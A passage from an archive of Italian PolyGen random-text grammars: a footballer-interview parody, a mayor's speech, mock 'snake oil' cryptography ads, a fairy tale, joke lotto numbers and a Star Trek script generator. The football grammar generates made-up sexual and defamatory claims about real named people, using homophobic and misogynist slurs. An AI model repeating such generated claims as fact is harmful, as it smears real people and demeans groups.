    "] |non sono io a decidere^"," decidera' (Dich | ---Velina) ^".
    " |(++si | +++no |forse|di sicuro | c'e' una possibilita')^"." \Mercrisp |io non ne so niente^"," chi ve l'ha detto^"?

    " \PF ".

    " \(non (conosco | ho mai sentito nominare) PF | PF non dice la verita' | PF si interessi delle sue cose^"," a CalciatoreF ci penso io | parlero' con PF | PF fa gli interessi (Del Sq).(M|F|V)^","non credete a queste cose | voi giornalisti credete a qualsiasi (cosa | stronzata)^"," non importa che a dirla sia PF o Dich (o (Dich |Velina))+ [^". Ma io sono piu' uomo di tutti voi messi assieme"|+_] | smentisco (assolutamente | categoricamente | una volta per tutte)) |---------------(allora e' vero| PF (ha ragione| dice sempre la verita' [^"," ma non questa volta] | sa tutto | morira') | io ho sentito PF dire altre cose | dite a PF che (mi vendichero'| non e' nessuno | che pensi per se'| dice le bugie) | e' tutto vero | la verita' sta nel mezzo | sara' quel che sara' | arrivederci) ^".
    " |io dico sempre^":" (mai dire mai | decidera' il tempo | l'importante e' fare bene | gallina vecchia fa buon brodo | forse si forse no | la notte porta consiglio | non sono queste le cose importanti | puo' darsi)^".
    " | dipende tutto dal mio Corpo^".
    " |come concordato con (Pers| Velina)^"," andro' (Al Sq).(M|F|V)^".
    " |giocare nella squadra di (Calciatore|-Velina|---Pers) e' sempre stato il mio sogno^"." \[(ma | pero' | ma pero') (non e' tempo di fare previsioni | non si sa mai | ho un contratto che mi lega (Al Sq).(M|F|V) | Pers mi ha assicurato un posto da (titolare | dirigente | apprendista | maniscalco | panchinaro | terzo portiere | capitano | ciarlatano) (Nel Sq).(M|F|V) [e penso (di (accettare | rifiutare) | che e' una proposta importante)] | \Mercrisp) | (d'altra parte | ovviamente | per giunta) (Il Sq).(M|F|V) (mi ha sempre (cercato|voluto)| ha sempre creduto in me | e' la squadra per cui facevo il tifo da piccolo | e' la squadra che tutti amano | nessuno puo' rifiutare l'offerta di una squadra cosi' gloriosa | ho sempre sognato di giocare in una squadra importante)^"."] ^"
    " |Sq e Sq sono in vantaggio^"," (ma | comunque | l'importante e' che | ho dimostrato che ) Mercrisp |sto bene (Al Sq).(M|F|V)^".
    " ) ; Gossip::= ("" \GossipdomFi "" \GossiprispFi \[-GossiprispFiEnd|_] "

    " ) ; GossipdomFi::= (dicono che la (sua| tua) storia (d'amore | di sesso | di mero interesse |platonica) con VelinaF non e' vera ma e' solo una (trovata pubblicitaria | unione di comodo | invenzione dei media | storia di pochi giorni | voce smentita)^"," cosa rispond^(i|e [CalciatoreF]) | VelinaF | VelinaF ha dichiarato ((^": ''"^ \(a letto CalciatoreF non vale niente | CalciatoreF soffre di eiaculazione precoce | ---- ((sono [sempre stata]| devo essere ) me stessa| l'importante e' essere se stessi | CalciatoreF non e' se stesso | io sono una persona vera [e questo da' fastidio a (molti| CalciatoreF)]) |(Calciatore|CalciatoreF) e' (+++gay | impotente | bravo solo a scopare | vergine | lesbica | superdotato | checca | omosessuale | ambiguo |fallocentrico) | sono stata a letto con Calciatore (^"," Calciatore)+ ^"," anche con Pers e Velina^"," ma CalciatoreF (non lo batte nessuno | e' di gran lunga il (migliore|peggiore)|mai^"," piuttosto (Pers|con gli animali dello zoo)))^".''" \conferma ) | (che la storia fra voi due e' finita | di essere vergine [ancora da qualche parte] | di aspettare un figlio da (lei | te | CalciatoreF [o da Calciatore|_] | Dich) | di fare sesso con (te | lei | Dich) prima di ogni partita | di voler^(ti|la) (++incontrare|++sposare|prostituire|vendere|comprare|baciare|diseredare|scopare|spogliare)| che fara' un (+++calendario| almanacco| poster) (nuda | vestita | senza veli) | che non c'e' due senza tre) ^"," (cosa rispond^(i|e [CalciatoreF])| conferma |smentisce| cos'ha da dire in proposito | intende (+++querelarla|denunciarla|castigarla|ucciderla|sposarla|prostituirla|appellarsi al "T.A.R. del Lazio"| parlarne con (il presidente | la societa' | Dich | Velina))) ) | cosa ne pensa di VelinaF [e della sua storia con Dich] | preferisc^(e|i) VelinaF o Velina | cosa rispond^(i a chi ti| e a chi la) accusa di giocare male a causa (della sua relazione con VelinaF [e Velina |--- e Dich|+_]| delle notti brave con Calciatore e VelinaF | delle distrazioni dovtre a VelinaF | delle tette di VelinaF | del troppo sesso con (VelinaF | Dich^"," come denunciato da VelinaF) | della sua relazione con una donna (pretenziosa | impegnata | distrata | assetata (di sesso | di sangue | di vino | di amore | di televisone | di successo | di calciatori | di personaggi famosi | di notorieta'|---- di cazzo) | di spettacolo | bella | vecchia | giovane | attempata | brutta | trascurata | lavoratrice | maleducata) come VelinaF) )"?

    " ; GossiprispFi::= ( \VelinaF e' una (([gran] bella (donna|fi^(g|c)^a)) | (puttana | troia | donna di facili costumi) | falsa | gran donna | delle mie migliori amiche | strega | (ragazza|donna) importante) ^"." |+ \[(ehm^"...")+] (si| no| non lo so | sono in silenzio stampa | chiedete a Dich | certo | per nulla | assolutamente (si|no) | sono completamente d'accordo a meta' con VelinaF)^"." \GossiprispFi | la mia relazione con VelinaF [e Velina|_] non (e' in discussione | influenza (la mia carriera di calciatore | il mio impegno per la squadra | il mio rendimento | il mio Corpo)| finira' mai | e' influenzato dal Corpo di (Dich|Velina)) ^"." | (non rilascio dichiarazioni su | non parlo di| chiedete queste cose a Dich^"," io non parlo di | non voglio parlare di [Dich e| Velina e] ) VelinaF ^"." [_|GossiprispFi] | non (conosco | ho mai sentito nominare | ho mai avuto rapporti sessuali[di alcun tipo] con | ho mai detto queste cose di | credete a | c'e' due senza | guardate | credete a quello che la "Gazzetta" dice di) (VelinaF^"." | ----Velina^"..." "Ah, parlavate di" VelinaF^"? Scusate, e'"(la stanchezza | la tensione)^"." [Postsq] \GossiprispFi ) | \VelinaF (ha la cellulite | e' vergine | e' obesa | pensa solo al cazzo | sta con Dich | e' morta | ha (delle belle tette | un bel seno)| fa dei (dolci | pompini | calendari | discorsi) deliziosi| sa solo (parlare | mentire | spogliarsi | dire | essere | fare calendari | ballare | queste cose | chi e' | intervistare) | e' mia (figlia | sorella| cognata | nonna) | vuole rovinare (Il Sq).(M|F|V) | e' una donna importante | farebbe meglio a stare (in casa | dietro ai fornelli | in televisione [a fare la puttana] | zitta)| non deve parlare | non si tocca ) ^"." [GossiprispFi|++_] ) ; GossiprispFiEnd::= CalciatoreF (e' sempre | ha dimostrato di essere (sempre| rimasto)) CalciatoreF^"," (a prescindere da (VelinaF | -Velina)| nonostante ([vo^]i giornalisti | VelinaF) |-VelinaF o non VelinaF | e (Il Sq).(M|F|V) ne e' (la dimostrazione | testimone)| e VelinaF lo sa bene | me l'ha detto (il mister | il presidente | Dich))^".
    " ; PF:= (Calciatore|Pers|Velina) ; Dich::= (Calciatore | Pers) ; CalciatoreF:= Calciatore ; Calciatore::= \( vieri | gilardino | gattuso | turci | zaccardo | bonera | totti | cassano | peruzzi | cannavaro | zambrotta | garzya | toldo | camoranesi | iaquinta | bettarini | toni | pirlo | ronaldo | cudicini | zampagna | caracciolo | abbiati | ambrosini | giannichedda | "Di Canio" | signori | inzaghi | nedved | veron | centofanti | materazzi | mastrapasqua | figo | flachi | volpi | diana | "Olarticoechea" | adriano | kaka' | ganz | fontolan | montella | boninsegna | shalimov | marazzina | bertotto | quagliarella| luciano | cordoba | magallanes | locatelli | cozza | signori | bellucci | ferrante | ravanelli ) ; Pers::= \(moggi | galliani | carraro | zamparini | preziosi | tanzi | ferlaino | moratti | pozzo | ("Valentino"| "Vasco" | "Paolo") "Rossi"| vespa| "Della Valle" | "Guido Meda"| lotito | cragnotti | ciarrapico | liedholm | sensi | tosatti | cannavo' | "Bruno Longhi" | "maurizio Mosca" | biscardi | pizzul | bizzotto | berlusconi | "Pippo Franco" | "Ezio Greggio" | platinette | blatter | bush | matarrese | gaucci | mentana | costanzo| fassino | prodi | bertinotti | pele' | "Plinio Fernando" | "Guido Nicheli"| manfredonia|"Lele Mora"|biatore| ["Diego"["Armando"]|----"Hugo"]"Maradona"["Jr."|+++_]| montezemolo ["Luca Cordero Di"|_] | schumacher | alesi | "Ugo Francica Nava" | "Osama Bin Laden" | clinton | pupo | bonolis | abramovich | bergomi | altafini) ; VelinaF:= Velina ; Velina::= ("Elisabetta Canalis" | "Alessia Marcuzzi" | "Sabrina Ferilli" | "Rita Levi Montalcini" | "Maddalena Corvaglia" | una (++misteriosa|+famosa|avvenente|straripante|---stagionata|-----ormai defunta) (++++letter|++++vel|paper|sorell|ment|peper|fratell|obitor|cagnol|conigl[^iett[^ator[^ezz[^an[^tol]]]]]|+baller|aspir|ketam)^ina | "Emanuela Folliero" | "Mara Venier" | "Mascia Ferri" | "Alessia Merz" | "Platinette" | "Claudia Schiffer" | "Naomi Campbell" | "Alena Seredova" | (la | "Maria Grazia") "Cucinotta" |"Monica Bellucci" | "Giorgia Palmas" | "Aida Yespica" | "Jessica Rizzo"| "Rosi Bindi" | "Claudia Peroni" | "Lilli Gruber" | "Rosella Sensi" | +(la | "Manuel"^(a|ona))"Arcuri"|"Heidi Klum" | "Simona Ventura" | "Michelle Hunziker" | (+++la moglie | l'amante | la figlia [segreta] | la sorella | una fan di | la concubina | la serva | la cameriera personale | la schiava | l'erede | la cugina ) di Dich | "Eva Henger" | "Selen" | "Carolina Marconi" | "Sofia Loren" | "Angelina Jolie" |"Maria De Filippi"| "Letizia Moratti" | "Maurizia Paradiso"| "Moira Orfei" | "Anna Falchi" | ("Carolina" | "Stephanie") di "Monaco" | "Maria Mutola" | "Adriana Lima" | "Ronaldinha" | la regina (++++"d'Inghilterra" | "di Spagna" | "d'Italia" | "del Brunei"| "del tortellino")) ; Il::= M: il | F: la| V: l'^ ; Del::= M: del | F: della| V: dell'^ ; Al::= M:al | F: alla | V: all'^ ; Nel::= M: nel | F: nella | V: nell'^ ; Sq::= M: \(milan | "Real Madrid" | "Boca Junior" | chelsea | barcellona | pizzighettone | napoli | genoa | manchester | liverpool | "Castel Di Sangro" | palermo | licata |bayern) | F: \(juve[^ntus] | samp[^doria] | roma | lazio | reggina | steaua | "Stella Rossa"| "Real Sociedad" | fiorentina | samb[^enedettese]) | V: \(inter | udinese | ascoli | empoli | atalanta | "Arminia Bielefeld" | avellino) ; polygen-1.0.6.ds2/grm/ita/contursi.grm0000644000175000017500000000702610340417034017122 0ustar enricoenrico I ::= "title: Discorso del Sindaco di Contursi Terme\n" ^ "author: Scarpaz (www.scarpaz.com), Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "note: l'originale si trova qui\n" ^ "created: 26/08/2003" ; S ::= SalutoIniziale Stupidaggini ; PM := ^"."\ ; Cittadini ::= citta^(d | t)^in^(++ i | o) ; Palomonti ::= "Palomont"^(+ e | +++ i | o) ; Oliveti ::= \ (---- u | o)^livet^(--- o | i) "Ce"^(++ t | d)^r^(-- o | i) ; Contursi ::= "Conturs"^(-- e | --- o | i) "Term"^(e | i) ; Locale ::= (l^)+ ocal^(++++ o | e | i) ; Nostr ::= nostr(^a | ^o | _) ; SalutoIniziale ::= \ Cittadini di Palomonti e di Contursi e di Oliveti ^"," ; Stupidaggini ::= (+ Stupidaggine Interiezione Saluto Stupidaggini |-- Stupidaggine) ; Stupidaggine ::= Ringraziamento PM | Dichiarazione PM ; Ringraziamento ::= Soggetto Verbo [prima "Iddio" e poi] Persona [Modo]; Persona ::= (allo | u'^) Locale [che Localo] | a tutti [che Resteranno] | gli sposi [che Resteranno] | i \ Cittadini (di Palomonti | di Contursi | di Oliveti) [che Resteranno] | le mie nipot^(e | i) [che Resteranno] | la mia sorella | il mio cognato [che 'ngievenuto | che 'ngiaospitat^(o | i) in questo Locale [che Localo]] | a coloro che gi e' venut' e ngiaospitat' in questo Locale [che Localo] | il popolo [che ['nciascoltato e] 'nciascolta [Respiro]] | gli uomini della volonta' Nostr che [Avverbi] hanno contribuito [Respiro] [e che Resteranno] ; Modo ::= Respiro | che noi siam' [Avverbi] fiere di rientrar^(o | i | e) nella Nostr famiglia com a tutti "EGUALE EGUAGLIANZA DEL POPOLO"; Soggetto ::= (io|ia) [Qualita]; Qualita ::= che sono (il zio dello sposo | il sindaco); Verbo ::= vingrazio [Avverbi] | abbiamo [Avverbi] a ringraziare [Avverbi] | ringrazzio [Avverbi]; Avverbi ::= Avverbio [Avverbio [Avverbio]] ; Avverbio ::= allora | severament^(e | i) | verament^(i | e | o) | (a | e)^ffettivament^(e | i | o) | innanzitutt^(e | i | o) | in quest^(+ o | i | e) punt^(+ o | i) ; Saluto ::= [car^(i | o)] (fratell^(o | i) | Cittadini) ^"," ; Interiezione ::= "vabbuo'?" \ | "vabben'?" \ | "e como ca'!" \ | "sissignore!" \ | Respiro; Respiro ::= quali siano le [piu'] parole [piu'] ampi^(o | e) respir^(++ o | i) ; Localo ::= nunn e' u^(n | '^) Locale come tutt gli altri raccontano [ma Localo] | e' Locale [Avverbi] giusto [che Localo] | [Avverbi] ci ha trattato^"," [come Avverbi] come figli dell'ingenito figlio [e che Localo] | a noi ci ha dato quelli chi noi c'abbiamo [Avverbi] saziato [da me il primo] [e Localo] ; Resteranno ::= restaranno [loro] tranguill'e ffelicita' nella loro coscienza; Dichiarazione ::= [Avverbi] [e' questo che [Avverbi]] teng'a dirvi in core Nostr che Dichiarazione | [Avverbi] Soggetto dichiaro [Avverbi] [[innanzitutto] al popolo] che [Avverbi] Dichiarazione | [Avverbi] e' una cosa buona e giusta [[e' dover'] di ringraziare [Avverbi] Persona] | [Avverbi] io vi dico che noi [Avverbi] rentiamo prima (allo | u'^) Locale che Localo | [Avverbi] e spera che tutti voi Saluto [e como anca Persona] Resteranno | [Avverbi] che noi possiamo tutti testimoniare (che Dichiarazione | che Locale Localo) ; polygen-1.0.6.ds2/grm/ita/snakeoil.grm0000644000175000017500000000317410340417034017061 0ustar enricoenricoI ::= "title: Snake Oil Cryptography\n" ^ "author: Lapo Luchini <lapo@lapo.it>\n" ^ "language: english\n" ^ "status: newborn\n" ^ "topic: cryptology\n" ^ "audience: your eyes only\n" ^ "comment: better go here\n" ^ "created: 2005/09/16"; S ::= "

    "^ [\(mega|virtual|ultra|super)^] \(crypto|secure|priv[^ate])^ \(file|desk[^top]|shield|lane|id)^ \(9^(5|8)|200^(0|1|2|3|4|5)|xP|nT) (uses|exploits|contains) (a (^n|provably) unbreakable|a breaktrough|a revolutionary|a new type of| military grade|an unique) (cryptographic >(cipher|system|algorithm)|encryption scheme|paradigm) (based on|(using|implementing) ideas from) (cellular automata|neural net[^work]^s|genetic algorithms|chaos theory| a (new branch|different kind) of >([pure] mathematics|computer science|statistics))^".

    " "

    "^ \key features are^":

      " FeatureLI (FeatureLI)+ "
    "; FeatureLI ::= "
  • "Feature^"
  • "; Feature ::= >((one million bits|>(512|768|1024|2048|4096) bits secret)| no need for secret|infinite length) keys|not based on usual theories| absolutely secure|proven unbreakability|a secret and secure scheme| an unique design|not based on mathematics|cannot be brute forced| exceptional degree of security at low computational cost| differs from known data security measures| uses lots of sources to seed the rng| design is secret for increased security| content of the message is not sent with the encrypted data; polygen-1.0.6.ds2/grm/ita/fiaba.grm0000644000175000017500000002077610340417034016325 0ustar enricoenricoI ::= (T ::= \tipica avventura di formazione ; "title: "\T ^"\n" ^ "author: Auletride\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "created: dicembre 2004" ) ; S ::= INIZIO "\n" GIORNO "\n" INCONTRO "\n" STORIA "\n" FINE ; NOME1 := ("Brid"|"Smi"|"Lun"|"Curi"|"Mani"|"Noppa"|"Lella"|"Depu"|"Ille") [^(maticon|frumb|kelar |nustr |mulc |frip) ] [^(falo | mani | pare | graro | yoppi) ] [^(linetta | cara | daria | buse | dunni )] ; NOME2 := ("Brid"|"Smi"|"Lun"|"Curi"|"Mani"|"Noppa"|"Lella"|"Depu"|"Ille") [^(maticon|frumb|kelar |nustr |mulc |frip) ] [^(falo | mani | pare | graro | yoppi) ] [^(linetta | cara | daria | buse | dunni )] ; NOME ::= ("Brid"|"Smi"|"Lun"|"Curi"|"Mani"|"Noppa"|"Lella"|"Depu"|"Ille") [^(maticon|frumb|kelar |nustr |mulc |frip) ] [^(falo | mani | pare | graro | yoppi) ] [^(linetta | cara | daria | buse | dunni )] ; AGG ::= semplic(M:^e|F:^e|S:^e|P:^i)| monoton(M:^o|F:^a|S:^o|P:^i) |stupid(M:^o|F:^a|S:^o|P:^i) |schifos(M:^o|F:^a|S:^o|P:^i) |ammirevol(M:^e|F:^e|S:^e|P:^i) | mirabolant(M:^e|F:^e|S:^e|P:^i) |depriment(M:^e|F:^e|S:^e|P:^i) |allegr(M:^o|F:^a|S:^o|P:^i) | stomachevol(M:^e|F:^e|S:^e|P:^i) |imprevedibil(M:^e|F:^e|S:^e|P:^i) | fedel(M:^e|F:^e|S:^e|P:^i) | degn(M:^o|F:^a|S:^o|P:^i)|felic(M:^e|F:^e|S:^e|P:^i)|effervescent(M:^e|F:^e|S:^e|P:^i) ; CIF ::= ( 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |0 ) ; INIZIO ::= NOME1 era un giovane (scimunito|contabile|panettiere|contadino|pescatore|sognatore) che da CIF [^CIF] [^CIF] anni conduceva una vita AGG.F in mezzo a (gente comune|animali pelosi|piante carnivore) in un (villaggio turistico|campo profughi|deserto roccioso|^a vallata ombrosa) ^"." "\n" \il suo (piu' grande desiderio |sogno segreto| delirio di grandezza) era tuttavia quello di SOGNO per SOGNO o magari anche SOGNO ^"." \invece non poteva far altro che (andare in giro|perdere tempo) con i suoi AGG.P amici NOME e NOME ^"," che erano due perfetti (cretini|materialisti|gentiluomini|lazzaroni|falliti|imbecilli) e (non volevano sentir parlare di|non erano interessati a|non pensavano mai di|se ne infischiavano di) SOGNO ^"." ; SOGNO ::= cavalcare lontano|studiare la magia|imparare a volare| viaggiare per il mondo|costruire un(^a barca|^a zattera|carro|^a catapulta|osservatorio|^a torre altissima)|(ammazzare|sterminare|massacrare|redimere|addomesticare) qualche BESTIA.S| (stroncare|combattere|cancellare) il male nel mondo|evocare il potere [arcano] del(fuoco|^la terra|^l'^acqua|vento)|adorare la mistica \luna (\azzurra|\verde|\viola|\a \pois|\a \righe) che regolava i destini dei popoli|imparare a cucinare|prevedere i terremoti ; GIORNO ::= \un giorno particolarmente AGG.M ^"," NOME1 fu mandato da sua PARENTE a (^l mercato|^lla citta' vicina|^l guado|^l fiume|^l crocevia) per (comprare|vendere|noleggiare|rubare|regalare) ROBA ^"." \si sentiva di lontano il (canto|gracchiare|frinire|silenzio) dei BESTIA.P ^"," ed era un mattino AGG.M ^"," cosi' il nostro NOME1 decise di prendere una scorciatoia ^"." \ben presto^"," pero'^"," si accorse di essersi (sprofondato|perso|distratto|infangato|insabbiato|bagnato|asciugato|affamato|dissetato) in una (tana di coniglio|palude|radura|foresta|strada|buca) [puzzolente|mai vista prima|spaventosa|molto profonda|affascinante| labirintica] e si spavento'^"." ; BESTIA ::= (quacco|farfa|mucco|nippo|giraffo|tonto|micro|tera|bidello) ^ (potam(S:^o|P:^i)|dont(S:^e|P:^i)|porc(S:^o|P:^i)|lunt(S:^e|P:^i)|doc(S:^o|P:^i)|can(S:^e|P:^i)|capr(S:^o|P:^i)|nigl(S:^io|P:^i)); PARENTE ::= zia|nonna|moglie|sorella|cugina|mamma ; ROBA ::= il pane|le uova|dei polli|dei vestiti|una torta|bottiglie di vino|i biscotti|la legna|una parrucca ; INCONTRO ::= \ma ecco che (fu colpito da|fu abbagliato da|fu visitato da|vide|sogno'|incontro') un (^a luce (fortissima|colorata|mistica)|baule|serpente parlante|AGG.M BESTIA.S|^a donna stupenda) che gli disse ^":" '^\ricorda tuo cugino NOME2^"!"^' \allora NOME1 si (arrabbio'|commosse|confuse|stanco'|distrasse| rallegro'|mise a sbadigliare) (moltissimo|pochissimo) poiche' la storia di NOME2 [non] gli era ben nota^"." ; STORIA ::= AVVENTURA SCAPPA ; SCAPPA ::= \mentre NOME2 ( si dirigeva | correva | andava | scappava | procedeva ) verso (il cancello | il casello [dell'^autostrada] | i prati verdi della sua giovinezza | l^'uscita (della grotta | del tunnel | dell'^autostrada) | lo sbarramento) gli capito' di (udire | sentire) ancora quella voce AGGETTIVO che PARLA dietro di lui ^":"'^\(miserabile|onorevole|gentile|adorato|sudicio|schifoso) (ladro|cliente|benefattore|passante|avventuriero|sapiente) ^"," lascia che ti (MINACCIA|OFFERTA)^"!" \co(^l cavolo| ^n piacere|^n gioia|^l fischio) ti offriro' un altro (caffe'|passatempo|articolo|momento di gentilezza) ^"!" \che tu possa (viaggiare sereno|precipitare in una fossa|calpestare escrementi|muoverti leggiadro) ad ogni passo^"!"^'\e allora NOME2 (comprese|capi'|si penti'|si rallegro') di aver (offeso|onorato|insultato|reso omaggio a) NOME ^"," la \dea [\(mucca|serpente|rana|sirena|aquila|elefantessa|farfalla| gatta|lepre|gazzella)] de (^ll'^ \amore|^l \focolare|^i \guai|^lla \sapienza|^lla \guerra|^lla \famiglia|^lla \fortuna|^lla \vendetta|^i \supplizi) e si (arrabbio'|commosse|confuse|stanco'|distrasse|rallegro'|mise a sbadigliare) [(moltissimo|pochissimo)] sapendo che non avrebbe avuto (mai piu'|altro che) (amore|focolare|guai|sapienza|guerra|famiglia|fortuna|vendetta|supplizi) nella vita ^"." ; AGGETTIVO ::= soave | suadente | sensuale | dolce | musicale | roca | catarrosa | minacciosa | sinistra | disperata | stentorea | flebile | soffocata | sibilante | argentina | blesa ; PARLA ::= impreco'|sospiro'| canto'| grido'| invei'|domando'| pianse| brontolo'| rise ; OGGETTO ::= ("Bracciale"|"Collare"|"Anello"|"Orecchino"|"Semicupio"|"Acciarino"|"Portachiavi"|"Astuccio"|"Spillone") [\parlante|\luminoso|\invisibile|\maledetto|\canterino|\incantato|\musicale|\profumato] d (^'^\oro|^'^\argento|^'^\alluminio|^i \cartapesta|^i \rame|^i \velluto|^i \rubino|^i \diamante |^i \plastica) ; MINACCIA ::= (prenda|raggiunga|acciuffi|incontri un'^altra volta) ; OFFERTA ::= (mostri|regali|consigli|illustri) anche questo altro OGGETTO ; AVVENTURA ::= NOME2 (si nascondeva da|era sfuggito a|aveva perso|aveva litigato con) (gli amici|i genitori|un gruppo di nani|una torma di orchi|uno sciame di BESTIA.P) e (attraversando|aspettando in mezzo a|esplorando) un (atrio [buio]|^a caverna [umida]|^a casa (diroccata|abbandonata)|tempio [maledetto]|accampamento di (girovaghi|artisti|cammellieri|lupi mannari)) era stato (avvicinato|aggredito|fermato|supplicato|sfidato) da una (creatura|persona|figura) (ermafrodita|muta|deforme|timida|dalla incerta sessualita'|spigliata|patetica|mostruosa|AGG.F) dotata di una voce AGGETTIVO ^"." \(costui|costei) lo aveva (pregato|minacciato) di (vendere|regalare|rubare|restituire|comprare|buttare via) un OGGETTO per poter curare la sua grave (calvizie|fotofobia|sindrome di \tourrette|tossicodipendenza|malinconia| avitaminosi|scoliosi|allergia|dermatite|emicrania) ^"." \mosso da (paura|compassione|avidita'|fastidio|noia|curiosita') ^"," NOME2 aveva quindi accettato [di buon grado] [^"," visto anche che non sapeva giocare a (nascondino| carte|^lla morra|^i mimi)]^"." "\n" \poi pero' (il metal detector|l'altare|il portone|il bosco|il laghetto|il posto di lavoro) de (^gli elfi|^i nani|^i maghi|^i cavalieri|^gli scudieri) (era esploso| si era incendiato|aveva suonato| aveva cessato di esistere) mentre passava lui ^"," impedendogli di SOGNO ^"." ; FINE ::= \e dunque NOME1 si desto' di botto e scopri' di avere davvero in tasca un OGGETTO ^"." \mentre tornava verso casa ^"," era cosi' AGG.M che una strana (sagoma|ombra|figura) sul viale gli sembro' (un drago |un orco |un nano|un balrog |un tabaccaio|un mago|\gollum|\cthulhu|\yog^"-"^\sothoth) (dormiente|maleducato|incazzato|con la faccia blu|fiammeggiante) [che (veniva verso di lui|si contorceva|lo minacciava)] ^"," ma invece si trattava solo di sua PARENTE che gli corse incontro e lo (abbraccio'|riempi' di sberle|bacio' affettuosa|pesto' a sangue|lodo'|rimprovero' aspramente) perche' aveva perso ROBA [ed era in grave ritardo]^";" NOME1 tuttavia [non] si (turbo'|preoccupo'|consolo'|rattristo'|rallegro'|congratulo') poiche' la storia che aveva ricordato (non aveva nulla a che fare con lui|gli aveva cambiato la vita| era una stupidaggine|era un esempio di saggezza) e seppe nel suo cuore che (credendo fervidamente nel|facendo affidamento sul) suo nuovo OGGETTO prima o poi sarebbe riuscito a SOGNO ^"."; polygen-1.0.6.ds2/grm/ita/lotto.grm0000644000175000017500000000210210340417034016403 0ustar enricoenrico I ::= "title: Numeri vincenti del Lotto\n" ^ "author: Vision-X.it, Manta\n" ^ "language: italian\n" ^ "status: final\n" ^ "topic: misc\n" ^ "audience: giocatori del lotto\n" ^ "beerware: chi vince ci deve una birra\n" ^ "created: 8/12/2002" ; S ::= "" "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" N N N N N "" "" "
    Bari
    Cagliari
    Firenze
    Genova
    Milano
    Napoli
    Palermo
    Roma
    Torino
    Venezia
    " ; N ::= "" (" " >Cifra | >Cifra8 ^ >(0 | >Cifra) | 90) "" ; Cifra8 ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 ; Cifra ::= >Cifra8 | 9 ; polygen-1.0.6.ds2/grm/ita/startrek.grm0000644000175000017500000001315110340417034017107 0ustar enricoenricoI ::= "title: Spazio, Ultima Frontiera\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: questa grammatica e' stata studiata appositamente per riprodurre i dialoghi della prima serie del noto telefilm 'Star Trek'. Avrei potuto scegliere altre serie, ma non le ho viste. A parte un po' Voyager perche' lo danno su Canal Jimmy, e anche quell'ultimo che davano su La7, ma fanno entrambi abbastanza cacare. \n" ^ "warning: effetti speciali ridicoli non ancora implementati.\n" ^ "created: 28/5/2004" ; S::= SCENA PARLA PARLA PARLA PARLA PARLA ; SCENA ::= "" ( \astronave \enterprise "-" ( \in plancia | sala teletrasporto | sala motori ) | \pianeta PLANET ) "\n\n"^; PLANET ::= \ >>(helder | klingon | RANDPL^RANDPL )<<; PARLA ::= PERS [PARLA]; PERS ::= KIRK | SPOCK | MCCOY | SCOTT | SULU | CHEKOV | UHURA; ORDINE ::= (KI:(\signor \spock | \signor \scott | (\dottor \mc^\coy|\bones)| \signor \sulu | \signor \chekov | \tenente \uhura) | SP:(\capitano \kirk | \signor \scott | \dottor \mc^\coy | \signor \sulu | \signor \chekov | \tenente \uhura) | MC:(\jim | \signor \scott | (\signor \spock| \stupido vulcaniano |idiota dalle orecchie a punta) | \signor \sulu | \signor \chekov | \tenente \uhura) | SC:(\capitano \kirk | \signor \spock | \dottore | \signor \sulu | \signor \chekov | \tenente \uhura) ); KIRK ::= "KIRK : "(\aprite il fuoco SEGNO.PE | \[oh SEGNO.V no SEGNO.PE] siamo stati colpiti SEGNO.PE | ORDINE.KI SEGNO.V come possiamo fare per BABBLE SEGNO.PI | ORDINE.KI SEGNO.V trovi un modo per BABBLE SEGNO.PE | \qui parla il capitano \kirk dell'astronave \enterprise [SEGNO.V siamo in missione di esplorazione [SEGNO.PU3 ALIENS.M SEGNO.V rispondete]] SEGNO.PU3 | ORDINE.KI SEGNO.V ha qualche idea SEGNO.PI | \sullo schermo [SEGNO.V ORDINE.KI] SEGNO.PU3 | \non vedo segni di vita intelligente da nessuna parte SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 | \kirk a \enterprise SEGNO.PU3 \ci porti su SEGNO.V \scotty SEGNO.PU3 | TUFFO ) EOL ; SPOCK ::= "SPOCK : "(\(affascinante | interessante | [il^]logico) [SEGNO.V ORDINE.SP] SEGNO.PU3 sembra che i ALIENS.M siano in grado di BABBLE SEGNO.PU3 | ORDINE.SP SEGNO.V il tricorder sembra indicare che WHAT abbia fatto si' che WHAT abbia cominciato a BABBLE SEGNO.PU3 | ORDINE.SP SEGNO.V tutto cio' e' illogico SEGNO.PU3 WHAT [non] puo' [in alcun caso|mai] BABBLE SEGNO.PU3 | \ORDINE.SP SEGNO.V [come al solito] le sue decisioni sono dettate dalle {umane} {emozioni} [ SEGNO.PU3 \trovo tutto cio' (illogico | interessante | affascinante | deplorevole)] SEGNO.PU3 | \dobbiamo [semplicemente] accettare il fatto che il ORDINE.SP ( sia morto | sia deceduto | si sia (disintegrato | transmogrifato) | sia impazzito | non sia piu' in vita )SEGNO.PU3 | \mi sembra la cosa (piu' | meno)[il^]logica da fare SEGNO.PU3 | TUFFO ) EOL; MCCOY ::= "MCCOY : "(\jim SEGNO.V sono un dottore SEGNO.PE \non un (ingegnere | carpentiere | falegname | onanista | contadino | calzolaio) SEGNO.PE | \e' morto SEGNO.V \jim SEGNO.PU3 ^SEGNO.PU3 ^SEGNO.PU3 | ORDINE.MC SEGNO.V mi aiuti a portare questo disgraziato in infermeria SEGNO.PE | \{non sono un mago} SEGNO.V {ORDINE.MC} [SEGNO.V sono solo un vecchio dottore di campagna] SEGNO.PE | TUFFO ) EOL; SCOTT ::= "SCOTT : "(ORDINE.SC SEGNO.V non so quanto potra' durare cosi' SEGNO.PE | ORDINE.SC SEGNO.V non credo di poterla potenziare piu' di cosi' SEGNO.PE | ORDINE.SC SEGNO.V non credo di poter ridirezionare piu' energia verso WHAT SEGNO.PE | \[ORDINE.SC SEGNO.V] ho bisogno di piu' energia SEGNO.PE | TUFFO ) EOL; CHEKOV ::= "CHEKOV : "(\ah SEGNO.V nella [\grande] \madre \russia (non si poteva|ci era vietato|non riuscivamo a) BABBLE SEGNO.PE | \aaaahhh SEGNO.PE (moriremo tutti SEGNO.PE)+ | \(capitano | signore | signor \spock) SEGNO.V apro il 